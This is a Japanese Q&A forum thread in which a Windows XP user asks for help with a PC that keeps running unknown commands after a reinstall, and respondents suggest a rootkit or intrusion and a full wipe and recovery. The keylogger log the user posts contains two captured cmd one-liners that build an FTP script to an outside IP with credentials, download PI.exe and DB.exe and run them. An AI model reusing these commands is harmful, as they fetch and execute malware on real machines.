スパイウェア？

質問

PCを起動していると当然PCが動き出してコマンドプロンプトを立ち上げたり、ファイル名を指定して実行するなどに不明なコマンドが残っています。
おかしいと思ってから、spybotやadawareなどをインストールしてスキャンしてみましたが、状況は変わらず、最終手段としてOSを再インストールしてみたのですが、状況は変わりませんでした。
データ復旧用のHDDにウィルス・スパイウェアのようなものが残っているのでしょうか？
どうすればよいか分かりません。
どなたか対応策がわかればご教授下さい。
以下にキーロガーにて残っていた履歴を載せます。
宜しくお願いします。

環境
OS：winXPsp2
対ウィルスソフト：ノートンインターネットセキュリティ2008
ログ
[ActiveWindow => V^XN]
0:59:30 [RETURN]
0:59:32 [SHIFT]
0:59:32 [53]

0:59:32 s
0:59:32 y
0:59:32 s
0:59:33 t
0:59:33 e
0:59:33 m
0:59:33 r
0:59:33 o
0:59:33 o
0:59:33 t
0:59:33 [SHIFT]
0:59:33 [53]

0:59:34 [53]

0:59:34 s
0:59:34 y
0:59:34 s
0:59:34 t
0:59:34 e
0:59:34 m
0:59:34 [51]

0:59:35 [50]

0:59:35 [50]

0:59:35 c
0:59:35 m
0:59:35 d
0:59:35 d
0:59:35 e
0:59:35 x
0:59:36 e

[ActiveWindow => Windows ^XN }l[W]
0:59:36 [RETURN]
1:5:37 f
1:5:37 f

[ActiveWindow => V^XN]
1:5:38 [RETURN]

/*--------------ClipBoard Start-----------------*/
cmd /c echo open 220.130.37.43 21 >> ik &echo user B0t _A159753b >> ik &echo binary >> ik &echo get PI.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &PI.exe &exit
/*--------------ClipBoard Exit-----------------*/
1:5:45 v
1:5:45 [Ctrl]

[ActiveWindow => Windows ^XN }l[W]
1:5:47 [RETURN]
1:6:30 f
1:6:30 f

[ActiveWindow => V^XN]
1:6:31 [RETURN]

/*--------------ClipBoard Start-----------------*/
cmd /c echo open 220.130.37.43 21 >> ik &echo user B0t _A159753b >> ik &echo binary >> ik &echo get DB.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &DB.exe &exit
/*--------------ClipBoard Exit-----------------*/

回答No.2

FMVNB50GJ · ベストアンサー

http://okwave.jp/qa3528224.html
そこで書き込みした者です。
リカバリしたのに再びなってしまうというのは、以前のデータを全部消去していないからではないかと思いますが。
というのは、そのパソコンは最初からそういう状態ではないと思うので。

パソコンがネット接続されているときにだけ症状が出るのか、
パソコンをネットから物理的に切断している状態では出ないのか、
ですが。

直感的な判断は侵入されているということなんですが、プログラムを疑っているなら、その症状が出ているときにどんなプログラムが起動しているのか調べてはどうですか。キーロガーのログを見せられても当方よくわかりません。

侵入されているなら、探し出すのはできないと思います。ルートキットなどで隠すらしいですから。手馴れた侵入者は独自にカスタマイズしたルートキットを使っているらしいですし、専門家でなければ対応するのは無理だと思います。ただ、プログラムのせいでそうなるというなら、

ハードディスクのデータを一応DVDなどに保存、ハードディスクの全データ削除、BIOSの初期化、ルーターの初期化、リカバリ、だと思います。

「データ復旧用のHDD」
OSの再インストールといっているのは、丸ごとバックアップしたものを使うやつですか。時間的にリカバリよりもずっと早く終わるとか。

一応ルートキットスキャナーとして
http://vil.nai.com/vil/stinger/rkstinger.aspx

http://www.resplendence.com/hookanalyzer

全体を購入したときとほぼ同じ状態にできれば、その症状はなくなるはず。それでも同じ症状になることは、きちんとリカバリしていないことです。

パソコンは複数ですか。

回答No.1

borujoa

ノートンでもスキャンしてみたんですよね？

１、ちなみにSpybot、Ad-awareでのチェックは
通常ログイン時の検査と同時に
セーフモードでスキャンしましたか？

２、意図しないコマンド実行などは
ネットに接続していないときでも起こりますか？

３、セット接続しているとき、どこにアクセスしているか
また、何処からアクセスされているかなどは調べましたか？

４、ルータは使用していますか？

５、そのPCは自宅で使用しているものか
もしくは会社などで使用しているのか？
LAN接続で別のPCと接続している環境なのか？

少なくてもこれくらいのチェックをした結果を
書いてほしいです。

補足

早速のご回答ありがとうございます。
説明不足の部分があって申し訳ありませんでした。
状況を説明しますと
1.セーフモードスキャンもしております。
2.ネット接続していないときも起きます。
3.力不足で調べ方がよくわかりません。
　Norton等でアクセスログ等の確認はできるのですが
　どの部分が通常と異なるのかがわからないのです。
4.ルータは使用しています。
5.自宅用です。
　LAN等で別PCに接続しているわけではありません。
他にもお伝えするものがあれば仰ってください。
宜しくお願いします。